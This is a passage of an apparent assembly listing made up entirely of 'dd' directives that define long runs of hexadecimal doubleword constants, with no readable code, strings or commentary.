0DB4046C4h dd 8EAE4CC1h, 376FCD00h, 0D1E3027Fh, 0E06A0027h, 0B11C6CC0h dd 0E63A204Eh, 0BCEC5C9Dh, 0B3008CC5h, 0CA90C162h, 0F8487AD8h dd 2EAC7C83h, 609C914Bh, 0D212B304h, 29138E74h, 6804562Dh dd 583064D7h, 8623BE5Eh, 0F91168h, 735E51D1h, 0F4AA7671h dd 58B91752h, 27C40811h, 0AF45DB60h, 81A5388Fh, 91CC917Fh dd 1FB98051h, 99CD8490h, 0BE60CF04h, 0AACBD31Fh, 0ECE86E00h dd 4E27E787h, 0B9FC12A5h, 1C3C0205h, 0ACC283B7h, 108FC9Dh dd 56EB6310h, 7A12FDE8h, 0FF308898h, 7BB781FCh, 660E1E7Eh dd 2A3F87A8h, 0E778C04Fh, 180BCB4Eh, 869CA91h, 4674A40Ch dd 3DB0BF7h, 7CCF832Ch, 8EFA073h, 9DFEF3h, 3DAA823Eh, 0BFD852B0h dd 704EB900h, 2081D672h, 2B633491h, 48B01478h, 0B401C023h dd 0D020594Ch dd 0BCDE000Eh, 9602434Ch, 7FE006h, 3D218EE5h, 7CCE860Dh dd 0F4BA4498h, 6D800491h, 3AF411F5h, 0D9903841h, 160D8500h dd 726A1E02h, 0B0555E12h, 90C808CBh, 0C4CA33C2h, 0C7E90070h dd 68CF6774h, 3DF441FBh, 13D78500h, 213B8E5Dh, 6C8607EFh dd 3A2C991Eh, 0AB100284h, 0ECA02F1Bh, 7E2E5358h, 0E9E87550h dd 0B4110D2Ch, 0F380C391h, 0D820844Ch, 0E10394A7h, 0E0D74CBBh dd 2AB776AAh, 2AF0FF74h, 0F40C65h, 7BEF192Dh, 0E23FBDB9h dd 3AAE3900h, 6993B1B8h, 0FCB2015Eh, 0D52EC69Bh, 9E59803Eh dd 0F23D500Fh, 0A8210589h, 455B9915h, 40ACD9E8h, 0F62C0E8Ch dd 0A5013DC8h, 1674C988h, 29BA5779h, 93F35C00h, 0E80E2F02h dd 1EAD3F26h, 1FE18704h, 1DA7108Ch, 1F0C15ACh, 1DECABEDh dd 0DB024BEBh, 0B139D400h, 0A1C096C9h, 98A76E5Fh, 4B200C58h dd 0E21995CAh, 40C29700h, 0A5E19269h, 87201C7Fh, 40901224h dd 52BEC7F0h, 8400BA91h, 0B1F84358h, 0CC9E661h, 0E41B93B7h dd 0E3000329h, 3857EA9Fh, 2E1F2843h, 15646DC1h, 873FACC0h dd 0BC3C2739h, 1C8F4A8Bh, 8800248Bh, 148E9097h, 0E715C400h dd 302AE6FDh, 0C032E8F0h, 4522B708h, 1537A19Bh, 0FB4030B8h dd 43500Eh, 0A2EB8F2Ch, 5F600F8Eh, 7A3A88B0h, 9FA9079Eh dd 7E666FDCh, 0C2316010h, 0A2F30B36h, 0E0870303h, 7AD45720h dd 5ABB0090h, 0A94FBE90h, 5000279Eh, 9B0CACCAh, 2A4E1AE3h dd 0E4ABA8h, 2132DDBBh, 8EB00667h, 22BCB2Ch, 2069F2Ch dd 1329A98Dh, 205721ABh, 1CBA84A0h, 497D4A00h, 47D70C9Fh dd 59C8027Ah, 0A9ED5F8Fh, 0E80934E4h, 89E12365h, 3EF4102Eh dd 3AC801AAh, 2857B60Dh, 7DBACC35h, 0BB2EF200h, 0FB0B1CEBh dd 91BF1C58h, 9F8C80D9h, 0C60966F3h, 276A4E01h, 8AD61E0h dd 0BCD82EC9h, 0F0B0B3h, 0DA228EB8h, 814E2521h, 2A0F39EEh dd 0C00A53h, 5B120D66h, 96F29Ah, 9111F75Fh, 987B43BCh dd 0F04EE33Bh, 61B2F0A8h, 0C3417804h, 30903FC9h, 0EB5CB8h dd 71FB3B91h, 0CF828A6Bh, 0D6641600h, 0E08F6D36h, 0CAC91417h dd 0D800B413h, 1B6B8D25h, 310073E5h, 8CCBE8E6h, 77C8D168h dd 7CA02FCh, 0DB34C1Ah, 15D049Dh, 73FA8256h, 0FCE9C0C3h dd 0CD60EE01h, 3F878852h, 54C12981h, 0F0CCF236h, 0BA30820Ah dd 0CD583079h, 0CF634071h, 64625000h, 0F1E2B595h, 0C8B407C2h dd 0C35A83BFh, 7003B27Fh, 4F5733ABh, 1E72D088h, 0FA0100B6h dd 523E1523h, 5F001C76h, 0DC418ED7h, 0ED1B22Ch, 7C47697Eh dd 5D830121h, 53781002h, 0E016FA21h, 90C4300Fh, 0E0768CD1h dd 8D182D60h, 64925BCDh, 217CD0C9h, 68E55583h, 0F3A4983h dd 410091CEh, 0FB6487F1h, 988289h, 18BD266Eh, 0A3609C7h dd 0DA90852Eh, 0D10F4930h, 9339C08Ah, 74E1887Fh, 7118BE1Dh dd 73688146h, 90C90641h, 11729884h, 4907D9EAh, 6C41C5BAh dd 9C90BCB0h, 0ECBE000Eh, 78DE1F0Ah, 0B4A8E673h, 500017B0h dd 0B3D59B09h, 712E16h, 9D8C5338h, 4E694A0Dh, 0EFB178A0h dd 58D40682h, 0ED612A19h, 56FC01C0h, 0CA606A7Bh, 8C95FCECh dd 0F5140300h, 2EF364A8h, 0E3DFC36h, 0ECA4A62Dh, 0FAAEB1E0h dd 6E0F9FB4h, 47A7E53Bh, 188C3725h, 9A5416F4h, 680E0A32h dd 4613D820h, 52EBC08Bh, 2BF93DACh, 2C39AD80h, 0B7BB2217h dd 0F87CA9EEh, 23574300h, 495C662Eh, 0ACDE06F9h, 3853307Eh dd 4E61208Eh, 5CD64980h, 21142004h, 5B00B033h, 0ADA03C2Ah dd 75C265Ah, 129BB866h, 9AEF70D9h, 0EC01B127h, 34F0A677h dd 3456AD5Ch, 806C5408h, 0E418460Fh, 4D00A03Eh, 4C17FC81h dd 0E00B462Bh, 870BCFAAh, 0FF2EE6A4h, 0E5565C4h, 17254480h dd 149075h, 115E2161h, 0E89F641Ah, 6A010490h, 0B3A06624h dd 11CF1722h, 115F3529h, 0B821ED47h, 94B0FE08h, 6A4C2889h dd 21CC2964h, 0DD12AEF5h, 0E97F2882h, 0E4276024h, 14314A78h dd 88E3DD08h, 0CB8865F4h, 14591B2h, 6B4DDE27h, 0C8D88A3Fh dd 2F60022h, 0E516FA14h, 6500577Eh, 2DD5DAC1h, 1DFDA2h dd 0F5867CECh, 0BE55A82h, 3382800h, 1544E66Dh, 3D7D0Eh dd 20FB4817h, 6F291CEEh, 6E00CD7Ch, 1F4490C0h, 7BE0D1h dd 6C2FE9C5h, 0B8F1765h, 51F69E0Bh, 32E700F5h, 0D2F3E4h dd 0E0633949h, 7C2DBB7h, 123D1C00h, 90BF2194h, 9E8C1F52h dd 5C350075h, 9795C76Bh, 993ABA00h, 0A153DC2Eh, 2C7E0608h dd 418F72C0h, 3B009690h, 964FD82Bh, 57D4D3h, 0C002AF5Ah dd 0CD8AE41Eh, 0F3ED6D00h, 50741914h, 52A5031Ah, 724239A4h dd 0AADD5B8h, 16A97D00h, 0B1EC1385h, 0E967014Fh, 0F84E51F7h dd 8099C165h, 2A77FD98h, 1CF2A912h, 7806605h, 80EB9C1Fh dd 0DCFB68B1h, 370034Ch, 24B58843h, 0C73806ACh, 50E366E6h dd 0B8A5FA00h, 0D2B167E2h, 0A7FC00BDh, 5331C82Bh, 0E6007FC2h dd 0FEEDDB30h, 0E33F05h, 0E15B2A3Dh, 11F260B5h, 76C9BD00h dd 952FFAB1h, 0D2BC00F1h, 0CA0F0357h, 543E7CC0h, 7659808Eh dd 0BB34FAE3h, 2C7F013Bh, 2C66A93h, 9677F838h, 1FC98D1Ch dd 3E49D400h, 1F02705h, 0B36AD92h, 0E816BEAAh, 0C0C0B9E3h dd 8F265FC1h, 47F000E1h, 30FD4F94h, 1E2C62B3h, 0A880901Ch dd 0BF03B511h, 536330FBh, 0E9E2B958h, 524B9500h, 3CFE3506h dd 283B3B2Bh, 7D0C1280h, 5D98ABF6h, 8AC4833Dh, 0ECDF460Bh dd 19FBFA00h, 0ECC288h, 0D8F5F2E7h, 0F7C81307h, 0F8621E05h dd 0A8006309h, 0A47B4359h, 1CD20035h, 0EBFF73D8h, 0B200FAD0h dd 3FC80362h, 7F7CE279h, 338700D3h, 367E6163h, 1F30B50Eh dd 620870D7h, 14A10BB4h, 58245FCCh, 4788092h, 8F013FD4h dd 0B77C4F8Dh, 0D20E134h, 0C4B4000Ch, 791741A7h, 0B000604Eh dd 0BF74BB50h, 69083Ch, 6D6A3FCFh, 29CC6594h, 0E701FB00h dd 0C0CD7EE3h, 0E0A7F32h, 0D01D40AAh, 45FB809Ch, 0D57611A0h dd 9E41E21Fh, 0BAFF97C1h, 5D6068FAh, 744200DBh, 0F91321D4h dd 0BB004CDFh, 0C7AC9245h, 7CB95Ah, 50C67059h, 0B620734Eh dd 80377F3Dh, 0D422B0BDh, 1B4CA1h, 0B3800EF9h, 0D796C220h dd 0F34738h, 30EFB664h, 0B897C5h, 1259A49h, 0ECB5674Bh dd 2B1B2202h, 408BCD61h, 2650DFF2h, 3D4E2035h, 0FF93DB00h dd 0E0B74C19h, 8E00A8E8h, 347AA3C2h, 0D7069Ah, 406178DCh dd 0D18D5986h, 221E3300h, 80DA4673h, 0B693004Eh, 1375A396h dd 2A0085F7h, 8AD41871h, 95C690h, 236F4F4Eh, 9A3FE101h dd 42987700h, 46DFE4D1h, 0AC3E5EDEh, 0F32150B2h, 3D86103h dd 7B55A9DDh, 1532006Ch, 595DB230h, 0D2009DE7h, 5C6BED39h dd 0EEDC83h, 0D3A493A6h, 7DE0716Ah, 604D48h, 0FA8A3527h dd 32D23BCh, 0F413D683h, 0AE9077A8h, 1E0265F5h, 3562395Ah dd 4E24406Dh, 3A980C05h, 8A106A76h, 68CFE800h, 67BCA90h dd 71400134h, 4E8E6BBFh, 0BBC7C07Ch, 3A2A6212h, 92BA440h dd 0D45E18F2h, 931FEB40h, 1F780004h, 6D1683BBh, 0AEBD4B00h dd 0FA2FCC0Ah, 0F04212D9h, 9EA500EFh, 0B5C63BB8h, 7FDFF400h dd 3A5B31CBh, 38DE0090h, 1829A793h, 41001BD6h, 0DD6532BCh dd 733E4FECh, 2D21006Bh, 146C5008h, 0FE1CD106h, 0DC642EADh dd 4D345E07h, 205CDC80h, 90E400C9h, 181C42DAh, 713ED811h dd 0BFE8928h, 574000ECh, 0F01A81h, 0E0AC4DFFh, 65EDB65Eh dd 283D3F04h, 0C0C03AA3h, 0A090E1h, 3EE2C9F9h, 0CFA27E6Ah dd 750207F8h, 58300977h dd 578C8F42h, 0CD520500h, 3E3BA8h, 0EA27FBA9h, 857D5E82h dd 0EBA6200h, 0BF45E129h, 31A9000Ch, 9A7CA594h, 5A0048B2h dd 37F590F9h, 0D4DC87h, 78D1CE56h, 1CBA6536h, 4E6D9200h dd 40CC6C7Dh, 0F68B815h, 61B767C2h, 955CEE20h, 0CF1E84A4h dd 0FD0DAC2Dh, 51C420F8h, 0C9D7006Ah, 0EA523970h, 88F00C91h dd 95FEA2F4h, 10B7D800h, 5C09F14Ch, 655200A3h, 324A3357h dd 3D008416h, 4ED31883h, 0FB05DACBh, 3E9FF420h, 6F80D898h dd 0AC486B1Bh, 0A5001E0Fh, 952DF107h, 233241h, 36084514h dd 183A9FA6h, 0A8425D00h, 7227734Ch, 0D9B10FA2h, 1A20F8B8h dd 0BC29A07Ch, 3071BF77h, 7463D507h, 20306A3Ah, 0EF3993Eh dd 910E1F28h, 0F8BD3B63h, 0F7711C07h, 0F111EC96h, 0CCF89B48h dd 95DD00EAh, 0CFF811C1h, 526932Bh, 9177001Ah, 0FBDA809Ch dd 0CB3384h, 5BECFDA9h, 16F2F762h, 0C2D3800Fh, 42D8A0A5h dd 3718CFh, 5BE3C911h, 0B8E8C730h, 1A863Ch, 2843A59Fh dd 2F10Ah, 19D1FCD3h, 0EDE40D44h, 0E1681400h, 2BF95F7Eh dd 8FD60B28h, 0FE80DD08h, 0D8F15A06h, 1800D098h, 954F252Fh dd 35E028Dh, 0A2CE5870h, 0AFC8BE7Ah, 93009E9Fh, 44328342h dd 34AA092h, 0A5CAF17Ch, 0CB80213h, 2A009C0Eh, 31C74B73h dd 1CAB771Ch, 4E997288h, 0A8CE08BEh, 0C21856C0h, 92070E4Fh dd 0E2A43EF8h, 0A3795080h, 4A9403F5h, 0B8547A66h, 0DC5870D2h dd 0C045A7Eh, 6407AE46h, 0FF7DC7FBh, 0A5CB6D80h, 1207471Eh dd 6EC6D0C2h, 409194F2h, 6996A9h, 43ECDAF7h, 1C85B951h dd 8008BF02h, 40CC563Eh, 4C219D98h, 300A8A4h, 575AF1CDh dd 0E80037C7h, 0B467330Ch, 452B5Ch, 0D7023A1Ah, 0E37E8926h dd 71DD3E00h, 2304ABEEh, 0C84B0EA4h, 0F763837h, 0FC8575EEh dd 0C0DC18F4h, 2D014E7Ah, 3E0D29Ah, 6FF83147h, 568A0793h dd 2E6AB245h, 0DE9C7BEh, 4A30E087h, 8297AD9Ch, 906250A9h dd 4C245FD4h, 0CB3040DCh, 4423DC0h, 550B2086h, 0CEFE1F00h dd 0FDCCE299h, 0C34C00EDh, 0A2A1B98Fh, 2D0022D5h, 1F153D0Eh dd 0FAFB48h, 3279B3A4h, 20AEB9A7h, 0CAC52800h, 2919F99Ch dd 2149AD1h, 4CF07623h, 0A9E0F691h, 9E0343E2h, 36A2BBA0h dd 0C27790B2h, 9C29009Fh, 95AA3F7Ah, 6F0159BFh, 0F96DCE0Eh dd 9C386127h, 0DDC97707h, 0B47BD1A6h, 13F0FFD8h, 0C60B4A23h dd 0A78E75h, 3D25EA78h, 6E0E0A32h, 40988CDDh, 49185BB5h dd 0CDBD1300h, 4D5E38D4h, 4817138Ch, 0C0F31EEBh, 0A3D055CCh dd 2998732Bh, 70578600h, 9A46A848h, 0DAE10F31h, 2301C4BCh dd 0E8F3175Ah, 0FC00D83Ch, 0EDFB6197h, 853AF5h, 35944A9Eh dd 0BF72397Eh, 3B4CE0F0h, 0DCDF016Ch, 7C5DD127h, 7B6E070h dd 0A1017163h, 24067D9h, 0C0E34BACh, 2DAACED0h, 6E55400h dd 0E0C361C5h, 11593C1Bh, 25D7758Bh, 1A80D80Eh, 0D88B0945h dd 0E91B8E16h, 9D384C01h, 0BADC825Eh, 76BD3B51h, 0CD36900h dd 0C8F1928Ch, 0C0E0E828h, 75FDBA02h, 40128F56h, 54F2E0h dd 0F79CBD7Ah, 1E62D6DDh, 805D203Ah, 0B9A6C555h, 0E853C4CAh dd 0CE0C00A4h, 34B96AEh, 6E1DD7D9h, 0DCC2127Ch, 783D2650h dd 15B50024h, 0A4EE75CFh, 6E515E60h, 16A9BDCh, 7C3690ACh dd 0CE320081h, 0E3EE4A6Fh, 9401BF97h, 0F65FC20Eh, 0CDC1DFFBh dd 1558F30h, 627BDDF0h, 0FC31BD16h, 0FF0B4C65h, 8F9149B3h dd 0C2A0700h, 0E3CF7FF0h, 5A950331h, 789AC155h, 91DA2000h dd 4AED888Bh, 0B9040048h, 0AF1E61E2h, 494CD5F1h, 9DAE00D3h dd 7F3B8838h, 0E4406F39h, 9A636280h, 0B3BB55Eh, 0D7D0804Fh dd 40A0D347h, 0C77816h, 7F156D0Fh, 0A90669C1h, 0F3904600h dd 5570DFC8h, 0E8BB006Fh, 7191AADCh, 43145F59h, 0F89804h dd 0F79957C4h, 13E6AEBh, 0DE473552h, 0C8AF912Fh, 0C067F30Fh dd 0D1C0701Eh, 0EC07328Bh, 21900169h, 87FA4304h, 5A58D8AEh dd 391F52C0h, 0A350B32h, 0A87A49B4h, 0F6C10024h, 1EFD4CECh dd 0CF57E903h, 80B1E5C4h, 0C3BF11h, 23E68695h, 0CE21A08Ah dd 0EE54A707h, 14105941h, 17B2DBA8h, 1D40D87h, 0DCC9B04Eh dd 4E52E06Ch, 90122300h, 0BFAF95FDh, 96637B40h, 0DEE61228h dd 74DA1DF8h, 0C9E90C40h, 28D720C7h, 24D89F2Fh, 0CB79B7h dd 1345A5BAh, 0AB00C7CAh, 89DF22F4h, 0E7245Eh, 83146150h dd 80B0AE3Fh, 0A032DE00h, 2BC7785Dh, 0D2BB0033h, 1E02E540h dd 0D000C1B3h, 0C244FF29h, 6D6A08h, 0D90B3506h, 0AD38A713h dd 0C69E5Ch, 8E82994Ch, 916C6Ah, 0E5FF61E7h, 5B30B173h dd 0F1CA85Ch, 4071BDFBh, 0D64D22D1h, 17D00C3h, 0BBBCEB75h dd 80A143B9h, 3443292h, 461F60C8h, 0E0CAAA1Ch, 6D9D03h dd 979D9FEh, 0EDE7E581h, 0B4524616h, 2FCB4040h, 3118FAh dd 7BA2D9DAh, 1FADF6B7h, 850BE898h, 9891FD5Ah, 5DD3A4E0h dd 4700D8B0h, 0E07AFFE6h, 0F7001F4Ch, 0EAFE1101h, 7445BA90h dd 0AADA004Bh, 501A72E2h, 0AC3AED68h, 49D480E5h, 5E2777C9h dd 5BF800A3h, 86F7A7BEh, 2F039BFBh, 0F14E4ADDh, 0E0A0E867h dd 8EC7Fh, 25C0BA07h, 4EBB632Eh, 0C3B7A900h, 0B1931EE8h dd 6AB60085h, 8E74E19Fh, 0D9EC2ABCh, 0AD94CE00h, 0C3F4934Dh dd 70300FDCh, 0A9603C52h, 0E524157Fh, 29F0517Dh, 950149E0h dd 144EC8FAh, 0C0EC1B73h, 0BC8B002Bh, 9098114Bh, 1A2E17A3h dd 0AF00C804h, 6760821Bh, 72A200F6h, 4F0F522Ch, 6A00B394h dd 0C8103F78h, 0E7D389h, 92322B29h, 0F1AB0688h, 4C1BDD00h dd 0E27E384Bh, 104D7726h, 49DDC42h, 0EEDA9287h, 0D840EAC7h dd 1D610F90h, 0FDC94DF5h, 4F0A9500h, 6D0333AFh, 1056A11Dh dd 0A9534183h, 22F5C191h, 0F8202283h, 4CF02CB8h, 0B0764968h dd 5CC8AF1Ch, 79DFD900h, 0D54A4Eh, 0EB25606Bh, 0E05841FDh dd 0A351F000h, 0ECD98ECDh, 262F0007h, 0C7EE909Eh, 0D5711819h dd 1359B00h, 0C67E0B47h, 7B733Eh, 0C134317h, 8138A8F4h dd 917522EAh, 75B49E64h, 8D43D8C0h, 13B72D24h, 0CCA028h dd 0C06E5677h, 210072D7h, 48F2659Dh, 0FA597Eh, 10E75B89h dd 6F41323Ah, 6A95D413h, 7120A507h, 0C091A152h, 0F6FDA7B4h dd 429001Dh, 8630CE5Ch, 0DF980A70h, 30008B4Ah, 0F6DA15B2h dd 0C4AC124Eh, 3CDC005Eh, 2AF205B6h, 72010CECh, 26A89A52h dd 0FAD43F6Ch, 8D854C48h, 2984007Fh, 6F1BEFBDh, 400A4D1h dd 9230E83Dh, 0E4E07Bh, 8D5B973Bh, 0FB9D3A4Ch, 0F41B5602h dd 0C80EDCF0h, 633004h, 8296BC4Eh, 3EA11592h, 8EAB7A00h dd 5438818Ah, 0FDEE00C3h, 168CD99Eh, 83001CCFh, 40DECB51h dd 0BB2964Dh, 8D751321h, 0EB466980h, 4B0003D5h, 0A417CCCEh dd 8425A1h, 6CEC7DD0h, 2B504926h, 96E00F28h, 9B55C401h dd 0BED6ABD8h, 88372180h, 2E0A3CFBh, 9E772700h, 0D7619F02h dd 0D23200CAh, 1B85F83Dh, 6B00BA9Dh, 0DB7943B3h, 22BE2Bh dd 13C8B23Bh, 60E3CB20h, 0D109D000h, 7EBB153Ch, 394900Ah dd 0C0BE074Bh, 9FC1E3E2h, 76602D8Fh, 0DBD40500h, 67B5647Dh dd 56C60032h, 7221029Ah, 4904DD47h, 0ACB4D998h, 0FCBCD890h dd 92F124EAh, 2F30094h, 3BCE1107h, 0C4E5830Bh, 0E20020D0h dd 7B5F81FFh, 0D1FE0152h, 9818832Fh, 61E1CC06h, 80863B3Fh dd 0E697D03h, 38DC7134h, 330082D4h, 97D97A5Dh, 0CE016460h dd 3D093092h, 1860C1AFh, 77C0004Fh, 6C0ABF85h, 3900B14Ah dd 0AF40CFBBh, 71583Fh dd 0E7055BEFh, 0DBA9BD7Ch, 0B6168800h, 61B49694h, 0D70C005Dh dd 5A7E58A5h, 82B0CF82h, 4CE60805h, 3087E243h, 20665DE0h dd 0FE57A57h, 0A2884BB8h, 9347DC40h, 0B9001A60h, 7C53DD1h dd 0A68E89h, 0FC668D09h, 1AE7AF39h, 96F43Dh, 516FD634h dd 9823C4Fh, 27DCEDB6h, 35EEAC00h, 9B00A03Bh, 0AAD3E126h dd 0CF97E7h, 0C66AE56Fh, 6058CE2Ch, 7F40BB0Ch, 15782Eh dd 7096B33Eh, 6AF783F4h, 59A7B000h, 0DE75A917h, 9B4216E9h dd 84981C2Ch, 0F009EF01h, 0B63C5FBCh, 44DC80C4h, 0A9F359E0h dd 8FCA00AEh, 0A62B4E36h, 830E65D2h, 174879C0h, 0FC67DC40h dd 0B9FFE0h, 14518016h, 6B6CD432h, 0ECC1B20Fh, 15E247CFh dd 9E99B120h, 0F41D0CBCh, 0D1AAB4F9h, 0D4453700h, 8687EBB8h dd 0C9BF0033h, 0B06650A1h, 7E00E4C3h, 0E7F7ED80h, 18C9922h dd 4FC10DB2h, 742D8A9Fh, 0C9021A9Ch, 5DE269AEh, 1EC05420h dd 579B00D6h, 0E88BB97Fh, 85849F03h, 0D8B5C298h, 180E925h dd 690751B2h, 0F4FC7346h, 0E801D142h, 1165ED02h, 388D17B4h dd 8048992Bh, 56784C68h, 2EFE3926h, 806C4648h, 11540561h dd 5700121Ah, 0EEDF3E6Fh, 78AC1CAh, 0AA9E554Ah, 0D1B01C3h dd 0DFCBD8ACh, 90004476h, 2EB487A8h, 0FE654933h, 577A001Ch dd 8ED116D3h, 0D6004231h, 0BFC90206h, 1DAF8C5h, 0FB1DF215h dd 0FC73CD36h, 0DF002670h, 96FFA324h, 3F19EF0h, 0D5ACAF7Ch dd 19C0875Bh, 38001F11h, 4E3BB03h, 93DB6FBh, 1D648B55h dd 0F16CD040h, 0A4317E01h, 0DCC5F87Fh, 0D86AAC53h, 1FE16808h dd 4118BE8Fh, 0BB953411h, 10E3F290h, 84FF46C0h, 177F7CF0h dd 0E2015C00h, 0FA09B34Bh, 31FE869h, 0FBEB3B1Ch, 8E05119h dd 4C051188h, 0A4E918C1h, 8243AC5Fh, 80162E38h, 90C68C8h dd 0ACA9855Dh, 3895DC58h, 0F3A78D0h, 5DE9CCC1h, 4056197Eh dd 5ECA0026h, 451E0153h, 0E073B3BEh, 57B900E2h, 3FAD003Eh dd 40FA17E7h, 0D13BA846h, 0ACCC0085h, 39A7786Dh, 0E6C00034h dd 0AF0619A6h, 7700155Ah, 296B6448h, 0B35942h, 385F4BB5h dd 3EF049FBh, 313DE873h, 0A88FCBA0h, 38CAABC0h, 8A044F2Bh dd 0F1360E93h, 302D60F0h, 0F2294D61h, 1201E5C7h, 5089DE72h dd 0C84084D1h, 7986884Ch, 0E428C1BDh, 41A2C24Bh, 4038FA30h dd 9E8FC1AAh, 0D799090Eh, 0A9F28C9Fh, 3FC00BD9h, 9E0160F8h dd 0FCC58BCEh, 5201CCF9h, 0AA6B073Ah, 2846559Ah, 6C34660h dd 0C1B53833h, 0F1308958h, 3FBBDA10h, 0A396561Ch, 62038CC1h dd 9C204474h, 3CEE14B2h, 8301CCFAh, 8D07C30Ch, 0D801CB71h dd 3149F83Ah, 1AC0D177h, 1884FC1Dh, 0F9B28150h, 0C901F9EFh dd 524D57C7h, 94407E3Ch, 249F19C5h, 250C355h, 89DAB736h dd 1F71C99h, 0E0243D3Ah, 0DE70007Eh, 5318BC2Fh, 0B25CB04Fh dd 1F8200A6h, 5D0A9085h, 2589275h, 0C08072C7h, 88449D60h dd 3DA0FC20h, 6A151A1Fh, 6D009008h, 7FD957B0h, 8AE6F795h dd 98F8053Bh, 0C32019F6h, 0D25700C8h, 0F170C9EDh, 0CA004781h dd 97C12778h, 0A907A29Fh, 0BC41FB4h, 9C920120h, 0ACD02BCAh dd 37B0DF23h, 4D268202h, 0BA0130A4h, 475E21C9h, 0B896B88Eh dd 0CAB4001Fh, 0BC4CF0B6h, 5A83C804h, 2C904961h, 18127160h dd 868D5E17h, 0B200DCC1h, 4DF1E107h, 0F0DDDE3Eh, 586709CAh dd 3017AB7Dh, 0D080F191h, 7914715Ah, 3B832100h, 82FD1EAFh dd 5DC9069h, 25687FC5h, 10FC409Fh, 6A9826C9h, 40680783h dd 40D9545Dh, 9EE7AE6h, 0DB96406h, 0CF91282h, 55F65CC1h dd 7F4C8850h, 99CB81CCh, 0BC4281DCh, 0BDD0848Bh, 92577067h dd 658CAD7Fh, 80C6216Eh, 32C1D815h, 0AC5A1400h, 9C6D31E5h dd 74C5240Eh, 0C20C9DE0h, 0E2D7CCC4h, 0AED4C60h, 18B1E8E8h dd 83B55300h, 0CCC15639h, 8EE132D8h, 0B7F221C0h, 99F6D83h dd 0DC9EC4BAh, 0B1755802h, 0A20F046h, 2EE8C451h, 0D422045Eh dd 0D0C1A8E8h, 48BC1A1Ch, 571AB270h, 22D87FDBh, 19F370h dd 5257CACDh, 0D854452Ch, 39390118h, 69981CFDh, 7D807A51h dd 0BE83E803h, 0ECA8F3A2h, 0F90B195Eh, 0D5B835h, 7EEFB5A3h dd 8CD40F43h, 5C603E10h, 82612FE6h, 5F7330B2h, 4ACD3B00h dd 30E422F3h, 0BDF80FA3h, 214038ECh, 0E2264275h, 0C547FB05h dd 0E880D16Eh, 484476DCh, 0C4233C95h, 0B03FB601h, 19BFC1h dd 3FBEDB50h, 3E018370h, 0CDB4B2FFh, 0A8E7230Bh, 4084632h dd 35E4153h, 0C1DC9285h, 0A57B130h, 2CCD7FE6h, 0C9CA589Ch dd 4F76570Bh, 52883001h, 1BAD3A74h, 0EC3C1A82h, 44CB50Ah dd 3583B104h, 0A0622156h, 14558A29h, 0E1C29A00h, 58A6562Eh dd 0F809ACEEh, 0D8214E97h, 603C4383h, 6040197Ch, 0A6DC093Dh dd 1C02B9A5h, 43198305h, 0A0B7E412h, 1E471300h, 388676Fh dd 0C54345F2h, 6032B0ECh, 30C8E08Bh, 36115B2Ah, 9A881956h dd 83B0D180h, 3BDC708Eh, 0A21877D2h, 3C7571F5h, 0E91FC500h dd 0B8EC48EFh, 5577079Ah, 10F2B60Eh, 61C7830Ch, 0B24088E2h dd 63811FF3h, 0D25C40ABh, 318D561Bh, 0BFDFDB00h, 0E31332B2h dd 0E48A1826h, 5255817Eh, 0C2CA0F00h, 0BEC68FD7h, 83461366h dd 0D4B4F408h, 0B2C78404h, 0D860F2Dh, 0FA6A2A39h, 70AF4FCh dd 0E1E7C366h, 9338435Ch, 0B805F7C0h, 265BCF16h, 0B9838420h dd 542000DAh, 680D7D04h, 9CA08C29h, 0BA1DB36Ah, 3204F62h dd 0B149DA2Ch, 903316C9h, 0F499D1h, 49BD9121h, 6175624Fh dd 21C69F04h, 5C801B56h, 1BA987Eh, 6E18BD01h, 0CA1F3C10h dd 2A288C60h, 2CCC1640h, 1DE8FD49h, 0D49268F4h, 0F93E2418h dd 0A1DAF9E7h, 65A20A0Eh, 0F4C7E678h, 2067F544h, 0A0B463A5h dd 257B2805h, 6480989Ah, 0E524C707h, 8CC25030h, 0DD57B402h dd 0C52CB57Fh, 0CCC78090h, 62B27E57h, 8884754h, 79EF2000h dd 4F2A8BFAh, 0FA709585h, 5A4A7412h, 0B8DC880Ah, 7A09C7C0h dd 988457F5h, 0DED5F00h, 9256E149h, 2DF82560h, 640674C1h dd 0C20A4862h, 40E0814Ch, 111AC9B9h, 6748FC7Ah, 19F54224h dd 9B7618h, 52ADE21Ch, 2D42EE55h, 0B710E09Bh, 6FA12C42h dd 386E0C1Ah, 4501EA48h, 0FE28A515h, 3C003F29h, 37B9F825h dd 0BB8E008Dh, 352608F5h, 0B4126E21h, 7C20327Bh, 533B7Fh dd 0A72A710h, 0D59EEEC1h, 0D92B3Ah, 30BCE243h, 34EB47Fh dd 5BD6A232h, 0C7A39F62h, 29162100h, 0C6A46C7Fh, 0F8DCF047h dd 287A8Ah, 798AD72h, 0DAC4E8A7h, 0D5B8C671h, 0BE4A0B07h dd 314CC703h, 0A48C07D1h, 60BD3593h, 0FD6F8550h, 0A07781ECh dd 3F5E9100h, 80138943h, 0C2E900D1h, 442A23C1h, 977499C9h dd 5CB89EFBh, 7F3B80A1h, 9F1A4EC5h, 20C34586h, 2B007FDDh dd 648E01D7h, 17A67FCh, 4429C6CFh, 0FC9B534Bh, 4006D192h dd 9F739343h, 7EDC2C38h, 25FF0081h, 1DD8F707h, 77E8F6ECh dd 0D65D21C0h, 708A2B16h, 0A5400ADh, 0A2EE1022h, 900026C3h dd 0CCE42E46h, 18DD3CAh, 3D4BD5F1h, 0EEEE4DCDh, 0D0438880h dd 8700E72Ch, 0F195E8D2h, 0F4A146h, 41D76B8Eh, 36FE5FA6h dd 0B803C577h, 932E133h, 136AC81Eh, 19A900CBh, 0F741DEC2h dd 2C0010F4h, 0C843DFD0h, 0EA25706h, 0A104409Fh, 33DBA460h dd 79C0D6EEh, 64DFFA02h, 8260393Fh, 8318638Eh, 8121FBECh dd 9CE00428h, 6253B21Ch, 0D2B45C00h, 3B9DDBA5h, 0A050631Ah dd 0F54208D9h, 46767F40h, 43F70h, 67A8842Ch, 7E6220h, 0D540CEFBh dd 99C1D305h dd 17869B00h, 62430860h, 6B6A0079h, 366764D0h, 0F4A8CA24h dd 9F002DAEh, 65BE9DB0h, 1E02CC6Eh, 944A7C48h, 0A000A0C6h dd 6BCA14CBh, 0E9C1C1C9h, 0AB4D27E3h, 61EEC080h, 0D36EE20Fh dd 807C2B48h, 3F3BC0BCh, 95290034h, 98CE7157h, 6D388FD0h dd 443D807Fh, 37CC9384h, 7AEC96h, 7E144808h, 4B54A33Ch dd 6B4F1D00h, 0A05C9D0Ch, 0C8421F9Ch, 0DCEB01B5h, 506F6E93h dd 538FCE88h, 83135870h, 0AA00C948h, 0F871E37Dh, 178E0243h dd 